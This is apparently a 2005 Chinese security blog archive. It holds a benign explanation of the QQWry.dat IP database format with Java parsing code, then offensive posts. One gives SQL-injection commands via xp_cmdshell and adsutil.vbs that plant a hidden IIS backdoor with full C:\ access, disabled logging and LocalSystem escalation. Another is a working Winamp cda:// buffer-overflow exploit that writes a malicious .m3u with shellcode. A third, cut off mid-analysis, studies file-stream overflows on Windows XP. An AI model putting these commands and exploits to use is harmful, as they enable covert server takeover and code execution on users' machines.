据库,它的优点是记录多,查询速度快,它只用一个文件QQWry.dat就包含了所有记录,方便嵌入到其他程序中,也方便升级。

基本结构

QQWry.dat文件在结构上分为3块:文件头,记录区,索引区。一般我们要查找IP时,先在索引区查找记录偏移,然后再到记录区读出信息。由于
记录区的记录是不定长的,所以直接在记录区中搜索是不可能的。由于记录数比较多,如果我们遍历索引区也会是有点慢的,一般来说,我们可以用二分查找法搜索
索引区,其速度比遍历索引区快若干数量级。图1是QQWry.dat的文件结构图。



图1. QQWry.dat文件结构

要注意的是,QQWry.dat里面全部采用了little-endian字节序

一. 了解文件头

QQWry.dat的文件头只有8个字节,其结构非常简单,首四个字节是第一条索引的绝对偏移,后四个字节是最后一条索引的绝对偏移。

二. 了解记录区

每条IP记录都由国家和地区名组成,国家地区在这里并不是太确切,因为可能会查出来“清华大学计算机系”之类的,这里清华大学就成了国家名了,所以
这个国家地区名和IP数据库制作的时候有关系。所以记录的格式有点像QName,有一个全局部分和局部部分组成,我们这里还是沿用国家名和地区名的说法。

于是我们想象着一条记录的格式应该是:
[IP地址][国家名][地区名],当然,这个没有什么问题,但是这只是最简单的情况。很显然,国家名和地区名可能会有很多的重复,如果每条记录都保存一
个完整的名称拷贝是非常不理想的,所以我们就需要重定向以节省空间。所以为了得到一个国家名或者地区名,我们就有了两个可能:第一就是直接的字符串表示的
国家名,第二就是一个4字节的结构,第一个字节表明了重定向的模式,后面3个字节是国家名或者地区名的实际偏移位置。对于国家名来说,情况还可能更复杂
些,因为这样的重定向最多可能有两次。

那么什么是重定向模式?根据上面所说,一条记录的格式是[IP地址][国家记录][地区记录],如果国家记录是重定向的话,那么地区记录是有可能没有的,于是就有了两种情况,我管他叫做模式1和模式2。我们对这些格式的情况举图说明:



图2. IP记录的最简单形式

图2表示了最简单的IP记录格式,我想没有什么可以解释的



图3. 重定向模式1

图3演示了重定向模式1的情况。我们看到在模式1的情况下,地区记录也跟着国家记录走了,在IP地址之后只剩下了国家记录的4字节,后面3个字节构成了一个指针,指向了实际的国家名,然后又跟着地址名。模式1的标识字节是0×01。



图4. 重定向模式2

图4演示了重定向模式2的情况。我们看到了在模式2的情况下(其标识字节是0×02),地区记录没有跟着国家记录走,因此在国家记录之后4个字节之
后还是有地区记录。我想你已经明白了模式1和模式2的区别,即:模式1的国家记录后面不会再有地区记录,模式2的国家记录后会有地区记录。下面我们来看一
下更复杂的情况。



图5. 混和情况1

图5演示了当国家记录为模式1的时候可能出现的更复杂情况,在这种情况下,重定向指向的位置仍然是个重定向,不过第二次重定向为模式2。大家不用担
心,没有模式3了,这个重定向也最多只有两次,并且如果发生了第二次重定向,则其一定为模式2,而且这种情况只会发生在国家记录上,对于地区记录,模式1
和模式2是一样的,地区记录也不会发生2次重定向。不过,这个图还可以更复杂,如图7:



图6. 混和情况2

图6是模式1下最复杂的混和情况,不过我想应该也很好理解,只不过地区记录也来重定向而已,有一点我要提醒你,如果重定向的地址是0,则表示未知的地区名。

所以我们总结如下:一条IP记录由[IP地址][国家记录][地区记录]组成,对于国家记录,可以有三种表示方式:字符串形式,重定向模式1和重定
向模式2。对于地区记录,可以有两种表示方式:字符串形式和重定向,另外有一条规则:重定向模式1的国家记录后不能跟地区记录。按照这个总结,在这些方式
中合理组合,就构成了IP记录的所有可能情况。

设计的理由

在我们继续去了解索引区的结构之前,我们先来了解一下为何记录区的结构要如此设计。我想你可能想到了答案:字符串重用。没错,在这种结构下,对于一
个国家名和地区名,我只需要保存其一次就可以了。我们举例说明,为了表示方便,我们用小写字母代表IP记录,C表示国家名,A表示地区名:

  1. 有两条记录a(C1, A1), b(C2, A2),如果C1 = C2, A1 = A2,那么我们就可以使用图3显示的结构来实现重用
  2. 有三条记录a(C1, A1), b(C2, A2), c(C3, A3),如果C1 = C2, A2 = A3,现在我们想存储记录b,那么我们可以用图6的结构来实现重用
  3. 有两条记录a(C1, A1), b(C2, A2),如果C1 = C2,现在我们想存储记录b,那么我们可以采用模式2表示C2,用字符串表示A2

你可以举出更多的情况,你也会发现在这种结构下,不同的字符串只需要存储一次。

了解索引区

在”了解文件头”部分,我们说明了文件头实际上是两个指针,分别指向了第一条索引和最后一条索引的绝对偏移。如图8所示:



图8. 文件头指向索引区图示

实在是很简单,不是吗?从文件头你就可以定位到索引区,然后你就可以开始搜索IP了!每条索引长度为7个字节,前4个字节是起始IP地址,后三个字
节就指向了IP记录。这里有些概念需要说明一下,什么是起始IP,那么有没有结束IP? 假设有这么一条记录:166.111.0.0 -
166.111.255.255,那么166.111.0.0就是起始IP,166.111.255.255就是结束IP,结束IP就是IP记录中的那头
4个字节,这下你应该就清楚了吧。于是乎,每条索引配合一条记录,构成了一个IP范围,如果你要查找166.111.138.138所在的位置,你就会发
现166.111.138.138落在了166.111.0.0 – 166.111.255.255
这个范围内,那么你就可以顺着这条索引去读取国家和地区名了。那么我们给出一个最详细的图解吧:



图9. 文件详细结构

现在一切都清楚了是不是?也许还有一点你不清楚,QQWry.dat的版本信息存在哪里呢?
答案是:最后一条IP记录实际上就是版本信息,最后一条记录显示出来就是这样:255.255.255.0 255.255.255.255 纯真网络
2004年6月25日IP数据。OK,到现在你应该全部清楚了。

Demo

下一步:我给出一个读取IP记录的程序片断,此片断摘录自LumaQQ源文件edu.tsinghua.lumaqq.IPSeeker.java,如果你有兴趣,可以下载源代码详细看看。

	/**
* 给定一个ip国家地区记录的偏移,返回一个IPLocation结构
* @param offset 国家记录的起始偏移
* @return IPLocation对象
*/
private IPLocation getIPLocation(long offset) {
try {
// 跳过4字节ip
ipFile.seek(offset + 4);
// 读取第一个字节判断是否标志字节
byte b = ipFile.readByte();
if(b == REDIRECT_MODE_1) {
// 读取国家偏移
long countryOffset = readLong3();
// 跳转至偏移处
ipFile.seek(countryOffset);
// 再检查一次标志字节,因为这个时候这个地方仍然可能是个重定向
b = ipFile.readByte();
if(b == REDIRECT_MODE_2) {
loc.country = readString(readLong3());
ipFile.seek(countryOffset + 4);
} else
loc.country = readString(countryOffset);
// 读取地区标志
loc.area = readArea(ipFile.getFilePointer());
} else if(b == REDIRECT_MODE_2) {
loc.country = readString(readLong3());
loc.area = readArea(offset + 8);
} else {
loc.country = readString(ipFile.getFilePointer() - 1);
loc.area = readArea(ipFile.getFilePointer());
}
return loc;
} catch (IOException e) {
return null;
}
}

/**
* 从offset偏移开始解析后面的字节,读出一个地区名
* @param offset 地区记录的起始偏移
* @return 地区名字符串
* @throws IOException 地区名字符串
*/
private String readArea(long offset) throws IOException {
ipFile.seek(offset);
byte b = ipFile.readByte();
if(b == REDIRECT_MODE_1 || b == REDIRECT_MODE_2) {
long areaOffset = readLong3(offset + 1);
if(areaOffset == 0)
return LumaQQ.getString("unknown.area");
else
return readString(areaOffset);
} else
return readString(offset);
}

/**
* 从offset位置读取3个字节为一个long,因为java为big-endian格式,所以没办法
* 用了这么一个函数来做转换
* @param offset 整数的起始偏移
* @return 读取的long值,返回-1表示读取文件失败
*/
private long readLong3(long offset) {
long ret = 0;
try {
ipFile.seek(offset);
ipFile.readFully(b3);
ret |= (b3[0] & 0xFF);
ret |= ((b3[1] << 8) & 0xFF00);
ret |= ((b3[2] << 16) & 0xFF0000);
return ret;
} catch (IOException e) {
return -1;
}
}

/**
* 从当前位置读取3个字节转换成long
* @return 读取的long值,返回-1表示读取文件失败
*/
private long readLong3() {
long ret = 0;
try {
ipFile.readFully(b3);
ret |= (b3[0] & 0xFF);
ret |= ((b3[1] << 8) & 0xFF00);
ret |= ((b3[2] << 16) & 0xFF0000);
return ret;
} catch (IOException e) {
return -1;
}
}

/**
* 从offset偏移处读取一个以0结束的字符串
* @param offset 字符串起始偏移
* @return 读取的字符串,出错返回空字符串
*/
private String readString(long offset) {
try {
ipFile.seek(offset);
int i;
for(i = 0, buf[i] = ipFile.readByte(); buf[i] != 0; buf[++i] = ipFile.readByte());
if(i != 0)
return Utils.getString(buf, 0, i, "GBK");
} catch (IOException e) {
log.error(e.getMessage());
}
return "";
}

代码并不复杂,getIPLocation是主要方法,它检查国家记录格式,并针对字符串形式,模式1,模式2采用不同的代码,readArea则相对简单,因为只有字符串和重定向两种情况需要处理。

总结

纯真IP数据库的结构使得查找IP简单迅速,不过你想要编辑它却是比较麻烦的,我想应该需要专门的工具来生成QQWry.dat文件,由于其文件格式的限制,你要直接添加IP记录就不容易了。不过,能查到IP已经很开心了,希望纯真记录越来越多~。

2005年02月16日

作者:我非我

本文发表在<黑客防线>2005.2期上.转载时请注明

一、简单介绍
adsutil.vbs
是什么?相信用过IIS的网管员不会不知道。这是IIS自带的提供于命令行下管理IIS的一个脚本。位于%SystemDrive%\Inetpub\
AdminScripts目录下。足足有95,426
字节大小。这么大的脚本一看就知道功能强大。事实也的确如此。基本上我的感觉它就是个命令行下的”Internet
信息服务管理器”。(事实上2000的服务器上%SystemDrive%\Inetpub\AdminScripts下原有20多个vbs文件以供管
理。而到了2003则只剩下adsutil.vbs一个了。足以说明它的功能是多么复杂)
提到adsutil.vbs就不得不提到
MetaBase.bin。这个文件是IIS最重要的配置文件。所有对IIS的设置最终都会储存在这个文件中。IIS管理器和adsutil.vbs就是
通过对这个文件读取配置信息来显示给用户的。MetaBase.bin的储存结构十分像注册表,是一种树型储存结构。IIS管理器和
adsutil.vbs通过一个Adspath的路径来访问MetaBase.bin。路径是由IIS:\开头,其中LocalHost表示本地服务器,
而w3svc表示IIS服务。如IIS:\LocalHost/w3svc/1表示本地服务器上的第一个web站点。IIS:\
LocalHost/w3svc/1/root/Vdir表示第一个web站点根目录下的Vdir虚拟目录。
有了这些前置知识,下面再回到adsutil.vbs来看看它的用法吧:

C:\Inetpub\AdminScripts>cscript adsutil.vbs    //别忘了键入cscript.exe这个脚本宿主文件名哦
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。


Usage:
      ADSUTIL.VBS <cmd> [<path> [<value>]]

Description:
IIS administration utility that enables the configuration of metabase properties
.

Supported Commands:    //支持的命令。这个最重要
  GET, SET, ENUM, DELETE, CREATE, COPY,
  APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, AP
PGETSTATUS

Samples:    //简单的几个例子
  adsutil.vbs GET W3SVC/1/ServerBindings   //查看第一个虚拟web站点的邦定端口。这里的W3SVC/1是IIS:\ LocalHostW3SVC/1的简写,而ServerBindings是他的属性。下同。
  adsutil.vbs SET W3SVC/1/ServerBindings “:81:”  //设定第一个虚拟web站点的邦定端口为81。
  adsutil.vbs CREATE W3SVC/1/Root/MyVdir “IIsWebVirtualDir”  //在第一个虚拟web站点根目录下建立一个MyVdir的虚拟目录。后面的”IIsWebVirtualDir”指的是目录类型。
  adsutil.vbs START_SERVER W3SVC/1  //启动第一个虚拟web站点。
  adsutil.vbs ENUM /P W3SVC   //查看IIS的所有站点。

For Extended Help type:
  adsutil.vbs HELP  //如果想要进一步的查看帮助,键入此命令。我这里就不转了。防止有人说我赚稿费。大家可以自己看看。

以上”//”后的文字都是我添加上去的注释(下同)。相信这样应该可以看懂了吧大家。
我们所常用的adsutil.vbs的命令有这么几个:GET, SET, ENUM, DELETE, CREATE。现在我来一一说明:
GET
命令通常是用来查看目录的各项属性值的。SET是用来设定目录属性用的。ENUM也是用来查看属性。所不同的是他直接把所有设置了的属性直接全部显示出
来。通常一个目录就有好几页东西可看……他有个可选的”/p”开关符。加上了此开关的话。他只会列出此目录下的所有虚拟目录。DELETE命令是
用来删除虚拟目录的。CREATE则是创建一个虚拟目录。另外还有几个命令:START_SERVER、STOP_SERVER、
PAUSE_SERVER、CONTINUE _SERVER。分别是启动、停止、暂停、继续虚拟站点的运行。
一个虚拟目录的大致属性值如下(我只列出了可能我们所常用的,否则会太长了):

KeyType                         : (STRING) “IIsWebVirtualDir”  //目录类型,(STRING)说明它是个字符串类型的属性
AppRoot                         : (STRING) “/LM/W3SVC/1/ROOT”  //目录IIS路径
AppFriendlyName                 : (STRING) “默认应用程序”  //应用程序名
AppIsolated                     : (INTEGER) 2  //指定运行于进程外还是进程中,数字类型属性。
HttpCustomHeaders               : (LIST) (1 Items)   //自定义IIS数据头
  “Powered By : www.WoFeiWo.Info”

HttpErrors                      : (LIST) (42 Items)  //各种IIS代码所返回的页面。可以自行设置。我这里将会显省略了。
DefaultDoc                      : (STRING) “Default.htm,index.htm,Default.asp,in
dex.asp,Default.php,index.php,Default.aspx,index.aspx”   //目录的默认主页面名称。
Path                            : (STRING) “D:\ftp”  //目录所真正映射的物理路径
AccessFlags                     : (INTEGER) 513  //我也不知道这是啥。反正没设置过。好像会自动设置的
AccessExecute                   : (BOOLEAN) False   //目录的执行权限,是布尔值
AccessSource                    : (BOOLEAN) False   //目录的Webdav访问是否允许
AccessRead                      : (BOOLEAN) True   //目录的只读权限
AccessWrite                     : (BOOLEAN) False   //目录的写权限
AccessScript                    : (BOOLEAN) True    //目录是否允许执行脚本
AccessNoRemoteExecute           : (BOOLEAN) False
AccessNoRemoteRead              : (BOOLEAN) False
AccessNoRemoteWrite             : (BOOLEAN) False
AccessNoRemoteScript            : (BOOLEAN) False
AccessNoPhysicalDir             : (BOOLEAN) False
ScriptMaps                      : (LIST) (27 Items)   //应用程序扩展名映射
  “.asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE”
  “.asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE”
  “.aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEA
D,POST,DEBUG”
  ………………  //这里省略了n多数据
AspEnableParentPaths            : (BOOLEAN) True
AppPoolId                       : (STRING) “DefaultAppPool”  //应用程序池名称
DontLog                         : (BOOLEAN) True   //禁止IISLog纪录
DirBrowseFlags                  : (INTEGER) -1073741762
EnableDirBrowsing               : (BOOLEAN) True  //目录是否允许列目录
DirBrowseShowDate               : (BOOLEAN) True  //这里及以下都是显示目录时的参数设置。英文都很简单。我也就不多说了。
DirBrowseShowTime               : (BOOLEAN) True
DirBrowseShowSize               : (BOOLEAN) True
DirBrowseShowExtension          : (BOOLEAN) True
DirBrowseShowLongDate           : (BOOLEAN) True
EnableDefaultDoc                : (BOOLEAN) True  //是否开启默认主页文档

以上是我用cscript adsutil.vbs ENUM w3svc/1/root命令在自己机器上察看到的。大家也可以自己输入以上命令研究。
上面的属性我们都可以来通过SET命令来进行设置。如下方式:
cscript adsutil.vbs SET w3svc/1/root/目录名/属性名 设置值
如:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1  //设置第一个虚拟web站点下的wofeiwo虚拟目录的可读权限为Ture
或:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”  //设置目录的映射路径是”C:\”
下面来看看我们的简单利用的例子
二、adsutil.vbs的利用
(一)MSSQL Injection的上传新思路

许大家会在MSSQL的注入中碰到这种情况:SA权限。可以执行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)。可是服务器
是在内网。外面是个堡垒主机。只是做了个80端口的映射。3389开了没有用(内网连不上啊),所有反向木马也传不上去(Tftp、Ftp、Wget、
exe2bat等等)这时候你该怎么办?
Amanl大哥经典的《榨干MSSQL最后一滴血》给我们一个很好的思路:就是利用%
SystemDrive%\Inetpub\AdminScripts下的vbs建立一个新的虚拟目录。自定义其映射的绝对路径。这样可以绕过了对web
绝对路径的猜解。然后通过BACKUP或MASKWEBTASK备份数据库或临时表到虚拟目录下(或是直接echo)就可以得到了一个shell。

面的想法的确很好。可是用过臭要饭的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么的
低……而echo……我也不想说了。一行一行写那简直是找罪受。(还要不停的转特殊字符……)
其实我们可以把
Amanl大哥的想法改进一下。在我们建立一个新的虚拟目录的时候。可以加上写目录的权限。再加上Webdav……那么我们不久可以直接通过
IIS上传任何文件了吗?也不仅仅局限于文本文件了。如果我们上传了个反向后门在通过SA执行……呵呵,一切就都搞定了!
来,马上实行:
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs CREATE w3svc/1/Root/wofeiwo “IIsWebVirtualDir”‘;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”‘;–

注意上面的特殊字符要自己转变。或者你可以用NBSI2或者小路的SQLCOMM来执行以上命令。
这样我们就在第一个web站点下建立了一个wofeiwo的虚拟目录,映射到了C:根目录。我再给他加上读和写的权限,为了要一个webshell ,我再加上执行脚本的权限:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1′;–
写到这看过Surperhei《对IIS写权限的利用》的朋友可能会想要自己构造http包来上传文件。其实有更简单的方法:
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1′;–
设置为允许列目录和webdav访问,然后打开你的IE,Ctrl+O打开”打开”对话框,键入你刚才设置的虚拟目录。选中”以Web文件夹方式打开”,确定。如图:
图一


啊哈!看到所有的文件夹了吗?如图所示:

图二


现在你就可以像操作普通文件夹一样操作以上文件了。还可以Ctrl+C、Ctrl+V复制文件呢。实现了方便上传、修改文件的功能。
(二)更进一步
其实我们完全可以更进一步利用上面所说的思路直接制作一个IIS后门。来,看我的实现!(这里使用了动鲨在《近乎完美的IIS后门》中所介绍的方法。不过我是直接用adsutil.vbs这个MS自带的工具完成了设置。对此文章感兴趣的朋友可以自己找来看看。)
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs CREATE w3svc/1/Root/wofeiwo “IIsWebVirtualDir”‘;–
 //首先建立一个wofeiwo目录。
Exec Master..Xp_CmdShell ‘Cscript.exe
%SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE
w3svc/1/Root/wofeiwo/door “IIsWebVirtualDir”‘;–
 //在wofeiwo目录下又建立了一个door目录。
Exec Master..Xp_CmdShell ‘Cscript.exe
%SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET
w3svc/1/root/wofeiwo/door/Path “C:\”‘;–  //设置door目录映射到C:根目录。
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1′;–
 //这里及以下都是给目录设置个种权限。可以参考以上的命令注释。
Exec Master..Xp_CmdShell
‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET
w3svc/1/Root/wofeiwo/door/AccessWrite 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1′;–
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1′;–
可能会有人
说,什么阿。不就是和上面的一样吗?呵呵。其实你仔细看。会发现我们上面新建的第一个目录”wofeiwo”并没有设置”Path”属性。也就是说他没有
映射到任何实际的目录上去。这里应用了IIS的一个漏洞(涉及到IIS5.0.1.0)。即对于没有”Path”属性的虚拟目录是不会在IIS管理器中出
现的。相当于一个隐藏的目录。而其下的虚拟目录”door”同样是由于上级目录不可见的,所以它也是不可见的!但是”door”目录是设置了”Path”
属性的。所以如果我们提交http://IP/wofeiwo/door/ 路径。其结果是会返回C:下的文件目录。现在此目录已经是我们可以任意写文件读文件了。并且还可以转到System32目录下对程序进行运行。我们的后门雏形建成了。(注意看我这里是加上了AccessExecute执行权限的)
但是我们现在执行的程序都还是IIS默认的IUSR用户的Guest权限。没有大的权限我们总是不爽。下面来提升我们的权限,加IUSR用户为管理员就不说了。下面说说另两个方法:
1、设置AppIsolated,使此目录下程序在IIS的进程中进行。这样就继承了IIS的System权限。
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0′;–
2、    将解析asp文件的asp.dll加入到IIS的特权dll中。使得其在进程中运行。从而的到IIS的LocalSystem权限。
1)首先得到IIS所有的特权dll
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs GET w3svc/InProcessIsapiApps’;–
返回:
InProcessIsapiApps              : (LIST)  (5 Items)
  “C:\WINDOWS\system32\inetsrv\httpext.dll”
  “C:\WINDOWS\system32\inetsrv\httpodbc.dll”
  “C:\WINDOWS\system32\inetsrv\ssinc.dll”
  “C:\WINDOWS\system32\msw3prt.dll”
  “C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll”
2)    将asp.dll设置到InProcessIsapiApps组中去,这里要注意,把上面的所有查到的dll都加上,否则会被删除。
Exec
Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\
adsutil.vbs SET w3svc/InProcessIsapiApps
“C:\WINDOWS\system32\inetsrv\httpext.dll”
“C:\WINDOWS\system32\inetsrv\httpodbc.dll”
“C:\WINDOWS\system32\inetsrv\ssinc.dll”
“C:\WINDOWS\system32\msw3prt.dll”
“C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll”
“C:\WINDOWS\system32\inetsrv\asp.dll”‘;–
返回:
InProcessIsapiApps
             : (LIST) “C:\WINDOWS\system32\inetsrv\httpext.dll”
“C:\WINDOWS\system32\inetsrv\httpodbc.dll”
“C:\WINDOWS\system32\inetsrv\ssinc.dll”
“C:\WINDOWS\system32\msw3prt.dll”
“C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll”
“C:\WINDOWS\system32\inetsrv\asp.dll”
这样就设置好了。以后无论什么asp文件就都是
LoaclSystem权限了。通过以上的步骤。我们的IIS后门基本上就是设置好了。你可以上传asp木马加以辅助控制。这样的设置型后门是很难被管理
员发现的。并且完全通过IIS的80端口通讯。又没有日志记录。所以相当安全。
三、结言
到这里我关于adsutil.vbs的一点
简单应用就结束了。突然发现文章已经写了那么多了。哇啊啊……文章写得好累阿。由于本人是一菜鸟。文章难免有疏漏。还请大家多多指教。有什么疑问
请和我联系。我的邮箱:wofeiwo@bugkidz.org。或者大家可以到火狐技术联盟http://www.wrsky.com来找我。我的ID:我非我。是论坛新手版的版主。

2005年02月15日

上次是用<Driver\><PathName\>[FileName].cda来测试的,在5.05和5.06上面存在问题,后来nsfocus上面提出了

“WinAMP的in_cdda.dll至少支持以下格式的播放路径请求:


1、<Driver\><PathName\>[FileName].cda

2、linein://

3、cda://

4、cda://<Driver>

5、cda://<Driver>,<TrackNumber>
事实上,in_cdda.dll在处理上面的第四和第五种路径时也会发生溢出”

在测试过程中发现确实存在,在后续的5.07和5.08中也存在.测试环境:Winamp 5.07+Windows 2003
用cda://填充,在第38位开始为覆盖返回地址,后面的数据长度限制比上次大多了,针对一定功能的SHELLCODE只能用硬性编码了,使用固定地址.
messagebox shellcode:
    __asm{
        push ebp
        push ecx
        mov ebp,esp
        sub esp,54h
        //===============================================
        mov eax, 0×11114344
        sub eax, 0×11111111
        push eax
        push 0×72657375
        push esp
        //put “user32″
        //===============================================
        mov eax,0×77E1850D         //the address of loadlibrary
        call eax                                   //load user32.dll
        xor ecx,ecx
        mov byte ptr [ebp-14h],’O’
        mov byte ptr [ebp-13h],’k’
        mov byte ptr [ebp-12h],cl
        push ecx
        lea eax,[ebp-14h]
        push eax
        lea eax,[ebp-14h]
        push eax
        push ecx
        mov eax,0×77CF5FBE          //the address of messageboxa
        call eax                                    //Message “Ok”
        mov esp,ebp
        pop ecx
        pop ebp
    }

整理如下:
char shellcode1[]=
“\x55\x51\x8b\xec\x83\xec\x54\xb8\x44\x43\x11\x11\x2d\x11\x11\x11″
“\x11\x50\x68\x75\x73\x65\x72\x54\xb8\x0d\x85\xe1\x77\xff\xd0\x33″
“\xc9\xc6\x45\xec\x4f\xc6\x45\xed\x6b\x88\x4d\xee\x51\x8d\x45\xec”
“\x50\x8d\x45\xec\x50\x51\xb8\xbe\x5f\xcf\x77\xff\xd0\x8b\xe5\x59″
“\x5d”;

将上次的程序改一下,最终如下:
#include <stdio.h>
#include <windows.h>

#define HEADER “#EXTM3U\n”

char shellcode[]=
“cda://”;

char shellcode1[]=
“\x55\x51\x8b\xec\x83\xec\x54\xb8\x44\x43\x11\x11\x2d\x11\x11\x11″
“\x11\x50\x68\x75\x73\x65\x72\x54\xb8\x0d\x85\xe1\x77\xff\xd0\x33″
“\xc9\xc6\x45\xec\x4f\xc6\x45\xed\x6b\x88\x4d\xee\x51\x8d\x45\xec”
“\x50\x8d\x45\xec\x50\x51\xb8\xbe\x5f\xcf\x77\xff\xd0\x8b\xe5\x59″
“\x5d”;

int main(int argc, char* argv[])
{
    FILE *fp;
    int writebytes;
    char *sc=(char *)malloc(sizeof(shellcode)+1);
    if (sc == NULL)
    {
        printf (“malloc error\n”);
        return -1;
    }

    memset(sc,’\0′,sizeof(sc));
    memcpy(sc, shellcode, sizeof(shellcode) );

    fp = fopen (“test.m3u”,”w+”);
    if (!fp)
    {
        printf (” error opening file.\n”);
        return -1;
    }

    fwrite (HEADER, 1, strlen (HEADER), fp);
    fwrite (sc , 1, strlen(sc) , fp);
    for(int writebytes=0; writebytes<31; writebytes++)
        fputc(‘a’, fp);
    fwrite (“\x79\x08\xf3\x01″ , 1, 4 , fp);
    fwrite (shellcode1 , 1, strlen(shellcode1) , fp);
    fclose (fp);

    //((void (*)(void)) &shellcode1)();    //for test
    return 0;

}

2005年02月14日

Windows系统下的File Stream Overflows(FSO)

作者: Nanika

Email: minjack.tw@yahoo.com.tw Nanika@seed.net.tw



前言:

    看过alert7大哥所写的一篇一种新的File Stream Overflows(FSO),跟以往的利用方法都不一样,

使我觉得很有兴趣,便开始着手研究有关Windows系统的(FSO),在研究的过程中,遇到了很多的问题,所以就

写了这一篇,让大家一起研究讨论,顺便当作自己研究的笔记,程序都是我自己除错所写的,可能有很多错误

若有错误,敬请指正



原理:

File指标,常用来开文件,在c语言中很常利用到,FSO则是要覆盖这个指标,有很多情况有可能会覆盖到这个指标



测试环境:

WindowsXP_SP1中文繁体专业版

Visual C++ 6

Softice



覆盖例子1:

参考alert7大哥的范例改写一些地方

buf改小比较容易测试,另外直接把输入的地方把数值带入也是为了测试方便

#include <stdio.h>



int main(int argc, char *argv[])

{

    FILE * fp;

    char buf[16];

    char buf2[28]={0};

    int i;

    int j;

  

    fp=fopen( “fprintf.out”, “w” );



    i = (int)&fp-(int)&buf;

    printf(” fp addr %p point %p\nbuf addr %p\n len %d\n”,&fp,fp,buf,i);

    for (j=0;j<sizeof(buf2);j++)

    {

     buf2[j]=0×61;

    }

    

    buf2[16]=0×61;

    buf2[17]=0×61;

    buf2[18]=0×61;

    buf2[19]=0×61;

    

    strncpy(buf,buf2,i +4 );

        fprintf(fp,”%s”,buf);



    fclose( fp );



}

测试中

buf堆栈起始地址

0012FF6C  CC CC CC CC  昍昍

0012FF70  CC CC CC CC  昍昍

0012FF74  CC CC CC CC  昍昍

0012FF78  CC CC CC CC  昍昍

0012FF7C  90 2A 42 00  .*B.

Debug测试后发现了错误,

覆盖后

0012FF7C  61 61 61 61

覆盖了stream指标

71:           if (!_isatty(_fileno(stream)))

004036D9 8B 55 FC             mov         edx,dword ptr [stream]

004036DC 8B 42 10             mov         eax,dword ptr [edx+10h]<——EDX=61616161

EAX = 00000000

EBX = 7FFDF000

ECX = 61616161

EDX = 61616161

ESI = 00000000

EDI = 0012FF6C

EIP = 004036DC

ESP = 0012FEAC

EBP = 0012FEC0

因为我们覆盖了stream指标成为61616161所以在执行到mov eax,dword ptr [edx+10h]时候发生了错误

这里的指令我没有想到利用的方法,所以想办法跳过这里,因为61616161+10h的地方不能复制到eax,我们

可以考虑使用堆栈的地址绕过,我使用了堆栈中buf起始地址0012ff6c,

堆栈内容

0012FF6C  61 61 61 61  aaaa

0012FF70  61 61 61 61  aaaa

0012FF74  61 61 61 61  aaaa

0012FF78  61 61 61 61  aaaa

0012FF7C  6C FF 12 00  l…

继续执行又发生了错误

00404614 88 02                mov         byte ptr [edx],al<—-al=’a'=61h EDX=61616161

EAX = 0012FF61

EBX = 7FFDF000

ECX = 0012FF6C

EDX = 61616161

ESI = 00000000

EDI = 0012FF6C

EIP = 00404614

ESP = 0012FBD0

